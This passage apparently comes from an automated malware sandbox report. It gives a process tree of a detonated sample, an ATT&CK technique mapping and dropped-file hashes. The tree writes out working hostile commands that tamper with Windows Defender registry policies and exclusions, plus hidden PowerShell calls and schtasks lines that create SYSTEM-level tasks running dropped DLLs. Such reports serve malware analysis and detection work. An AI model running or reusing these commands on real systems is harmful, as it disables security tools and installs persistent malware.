                                                                                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                              PID:3308
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:60
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                PID:4964
                                                                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                    PID:4040
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:2924
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                      PID:2256
                                                                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                          PID:2104
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:5608
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:5728
                                                                                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                PID:5840
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:2980
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                  PID:2700
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                    powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                    PID:5488
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                        PID:2604
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                schtasks /DELETE /F /TN "bqGGCwwWIommTRgeuN"
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:1588
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:3116
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:312
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                            PID:3312
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                              PID:5764
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                  PID:5784
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                          schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JipyTrDkU\jKqbPD.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "jiLwFdOzPPQiWLm" /V1 /F
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                          PID:3536
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                          schtasks /CREATE /TN "jiLwFdOzPPQiWLm2" /F /xml "C:\Program Files (x86)\JipyTrDkU\IApIZff.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                          PID:2136
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                          schtasks /END /TN "jiLwFdOzPPQiWLm"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:5132
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                            schtasks /DELETE /F /TN "jiLwFdOzPPQiWLm"
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:1640
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "EyAjTIEydjCaoB" /F /xml "C:\Program Files (x86)\tegRANPZONsU2\ajwTPgH.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                              PID:5668
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "nwujZhVsLEYxr2" /F /xml "C:\ProgramData\fcblnlcRRSrBhAVB\DrqHlIR.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                              PID:5304
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "njgsfWmNUCIAXOmvm2" /F /xml "C:\Program Files (x86)\krdeMCnRKomDOvwVunR\DXVclgr.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                              PID:720
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "ZXdYLGWImophNcyfuyr2" /F /xml "C:\Program Files (x86)\YLgKyOFzWxOqC\FuvqzPw.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                              PID:5532
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "QdCYtDviHOrgqJLgZ" /SC once /ST 00:47:37 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ZmzskowerwXEonlG\BuzXPdlM\aXpEIsn.dll\",#1 /Ddidpc 385118" /V1 /F
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                              PID:5188
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                              schtasks /run /I /tn "QdCYtDviHOrgqJLgZ"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:2252
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                schtasks /DELETE /F /TN "WKALCIrwIEiqhKBsn"
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:5700
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4016 -s 1408
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                  PID:5180
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 5764 -ip 5764
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                  PID:2748
                                                                                                                                                                                                                                                                                • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                                                  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\BuzXPdlM\aXpEIsn.dll",#1 /Ddidpc 385118
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                    PID:2224
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\BuzXPdlM\aXpEIsn.dll",#1 /Ddidpc 385118
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                      • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                      • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                      • Enumerates system info in registry
                                                                                                                                                                                                                                                                                      PID:1152
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                        schtasks /DELETE /F /TN "QdCYtDviHOrgqJLgZ"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:5488
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 520 -ip 520
                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                        PID:2708
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4016 -ip 4016
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                          PID:2700
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                          • Identifies Wine through registry keys
                                                                                                                                                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                          PID:5624
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                          PID:5236
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                          • Identifies Wine through registry keys
                                                                                                                                                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                          PID:2368

                                                                                                                                                                                                                                                                                        Network

                                                                                                                                                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                              Reconnaissance

                                                                                                                                                                                                                                                                                              Resource Development

                                                                                                                                                                                                                                                                                              Initial Access

                                                                                                                                                                                                                                                                                              Execution

                                                                                                                                                                                                                                                                                              Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1059

                                                                                                                                                                                                                                                                                              PowerShell

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1059.001

                                                                                                                                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                              Persistence

                                                                                                                                                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                              3
                                                                                                                                                                                                                                                                                              T1547

                                                                                                                                                                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                              3
                                                                                                                                                                                                                                                                                              T1547.001

                                                                                                                                                                                                                                                                                              Create or Modify System Process

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1543

                                                                                                                                                                                                                                                                                              Windows Service

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1543.003

                                                                                                                                                                                                                                                                                              Pre-OS Boot

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1542

                                                                                                                                                                                                                                                                                              Bootkit

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1542.003

                                                                                                                                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                              Privilege Escalation

                                                                                                                                                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                              3
                                                                                                                                                                                                                                                                                              T1547

                                                                                                                                                                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                              3
                                                                                                                                                                                                                                                                                              T1547.001

                                                                                                                                                                                                                                                                                              Create or Modify System Process

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1543

                                                                                                                                                                                                                                                                                              Windows Service

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1543.003

                                                                                                                                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                              Defense Evasion

                                                                                                                                                                                                                                                                                              Modify Registry

                                                                                                                                                                                                                                                                                              4
                                                                                                                                                                                                                                                                                              T1112

                                                                                                                                                                                                                                                                                              Pre-OS Boot

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1542

                                                                                                                                                                                                                                                                                              Bootkit

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1542.003

                                                                                                                                                                                                                                                                                              Subvert Trust Controls

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1553

                                                                                                                                                                                                                                                                                              Install Root Certificate

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1553.004

                                                                                                                                                                                                                                                                                              Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1497

                                                                                                                                                                                                                                                                                              Credential Access

                                                                                                                                                                                                                                                                                              Unsecured Credentials

                                                                                                                                                                                                                                                                                              3
                                                                                                                                                                                                                                                                                              T1552

                                                                                                                                                                                                                                                                                              Credentials In Files

                                                                                                                                                                                                                                                                                              3
                                                                                                                                                                                                                                                                                              T1552.001

                                                                                                                                                                                                                                                                                              Discovery

                                                                                                                                                                                                                                                                                              Peripheral Device Discovery

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1120

                                                                                                                                                                                                                                                                                              Query Registry

                                                                                                                                                                                                                                                                                              9
                                                                                                                                                                                                                                                                                              T1012

                                                                                                                                                                                                                                                                                              System Information Discovery

                                                                                                                                                                                                                                                                                              7
                                                                                                                                                                                                                                                                                              T1082

                                                                                                                                                                                                                                                                                              Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                              T1497

                                                                                                                                                                                                                                                                                              Lateral Movement

                                                                                                                                                                                                                                                                                              Collection

                                                                                                                                                                                                                                                                                              Data from Local System

                                                                                                                                                                                                                                                                                              3
                                                                                                                                                                                                                                                                                              T1005

                                                                                                                                                                                                                                                                                              Command and Control

                                                                                                                                                                                                                                                                                              Web Service

                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                              T1102

                                                                                                                                                                                                                                                                                              Exfiltration

                                                                                                                                                                                                                                                                                              Impact

                                                                                                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                                                                                                              setup.exe
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\EdgeCore\125.0.2535.79\Installer\setup.exe
                                                                                                                                                                                                                                                                                              • Size 6.9MB
                                                                                                                                                                                                                                                                                              • SHA256 19dc1f8c7901ec057bfaf763d8354a07880ce6fa3093185c64b95d082f8055af
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              EdgeUpdate.dat
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\EdgeUpdate.dat
                                                                                                                                                                                                                                                                                              • Size 12KB
                                                                                                                                                                                                                                                                                              • SHA256 3d7ec761bef1b1af418b909f1c81ce577c769722957713fdafbc8131b0a0c7d3
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              MicrosoftEdgeComRegisterShellARM64.exe
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\MicrosoftEdgeComRegisterShellARM64.exe
                                                                                                                                                                                                                                                                                              • Size 179KB
                                                                                                                                                                                                                                                                                              • SHA256 8a75eaf5677dc11b1c37fbf57ca354b0e3d25c8aa867269c2deb0e7fb7fa0693
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              MicrosoftEdgeUpdate.exe
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\MicrosoftEdgeUpdate.exe
                                                                                                                                                                                                                                                                                              • Size 201KB
                                                                                                                                                                                                                                                                                              • SHA256 41587c47ed8b365599332d5e321437a6dfca746edfc782a231f5d0d4174b5cb8
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              MicrosoftEdgeUpdateComRegisterShell64.exe
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe
                                                                                                                                                                                                                                                                                              • Size 212KB
                                                                                                                                                                                                                                                                                              • SHA256 1c2fd257dfc2c3967f7afc0ee726319cb6eaa0f1db86c34f97d703ce7bdcb5eb
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              MicrosoftEdgeUpdateCore.exe
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\MicrosoftEdgeUpdateCore.exe
                                                                                                                                                                                                                                                                                              • Size 257KB
                                                                                                                                                                                                                                                                                              • SHA256 39f7c35da1df0dca19b5bc426f0687ff0f8ae8de3ae997857a4672f1176de161
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              NOTICE.TXT
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\NOTICE.TXT
                                                                                                                                                                                                                                                                                              • Size 4KB
                                                                                                                                                                                                                                                                                              • SHA256 91d3fc490565ded7621ff5198960e501b6db857d5dd45af2fe7c3ecd141145f5
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              msedgeupdate.dll
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\msedgeupdate.dll
                                                                                                                                                                                                                                                                                              • Size 2.1MB
                                                                                                                                                                                                                                                                                              • SHA256 bd57792535d7f2c75136fe09241fce48b225b7d451b5e6241cd40e6374db388e
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              msedgeupdateres_af.dll
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\msedgeupdateres_af.dll
                                                                                                                                                                                                                                                                                              • Size 28KB
                                                                                                                                                                                                                                                                                              • SHA256 41d0565075327e4a0d1364eb556a238981659f063054404458c0b7b37ec64574
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              msedgeupdateres_am.dll
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\msedgeupdateres_am.dll
                                                                                                                                                                                                                                                                                              • Size 24KB
                                                                                                                                                                                                                                                                                              • SHA256 2fa5350047962335602e7a450d1e29951609487e997bf183ce0eb5d01b28f066
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              msedgeupdateres_ar.dll
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\msedgeupdateres_ar.dll
                                                                                                                                                                                                                                                                                              • Size 26KB
                                                                                                                                                                                                                                                                                              • SHA256 b4e66f907dde78b4d4f85c5c44656667b7b0fa0659eb56f7f96d974cb66d4dd0
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              msedgeupdateres_as.dll
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\msedgeupdateres_as.dll
                                                                                                                                                                                                                                                                                              • Size 28KB
                                                                                                                                                                                                                                                                                              • SHA256 68a495ee65652ebb55f856b7a82dde20fdda0b38880019170fa5cbafb336c123
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              msedgeupdateres_az.dll
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\msedgeupdateres_az.dll
                                                                                                                                                                                                                                                                                              • Size 29KB
                                                                                                                                                                                                                                                                                              • SHA256 3ccf9900953a871a129280260909acfc20aa23644181e354847fbe6b2e005110
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              msedgeupdateres_bg.dll
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\msedgeupdateres_bg.dll
                                                                                                                                                                                                                                                                                              • Size 29KB
                                                                                                                                                                                                                                                                                              • SHA256 6b380706e9273948be9995da09e3aebb71e7275ba6852086cf5bd1594c7d1232
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              msedgeupdateres_bn-IN.dll
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\msedgeupdateres_bn-IN.dll
                                                                                                                                                                                                                                                                                              • Size 29KB
                                                                                                                                                                                                                                                                                              • SHA256 19fecbe5aa1f007f5f4ed719ad474b3270603c1535f187067c30ceddd4444091
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              msedgeupdateres_bn.dll
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\msedgeupdateres_bn.dll
                                                                                                                                                                                                                                                                                              • Size 29KB
                                                                                                                                                                                                                                                                                              • SHA256 97e41d2acb8b638ac2a039da4f9750a0e9387ac10433cb68e0415c0093695ce0
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              msedgeupdateres_bs.dll
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\msedgeupdateres_bs.dll
                                                                                                                                                                                                                                                                                              • Size 28KB
                                                                                                                                                                                                                                                                                              • SHA256 4d2ad964da1441bb08800618db62f9e8117751a4a78bdfa3ae1c2dcf903d6d43
                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                              msedgeupdateres_ca.dll
                                                                                                                                                                                                                                                                                              • Path C:\Program Files (x86)\Microsoft\Temp\EUDBD9.tmp\msedgeupdateres_ca.dll
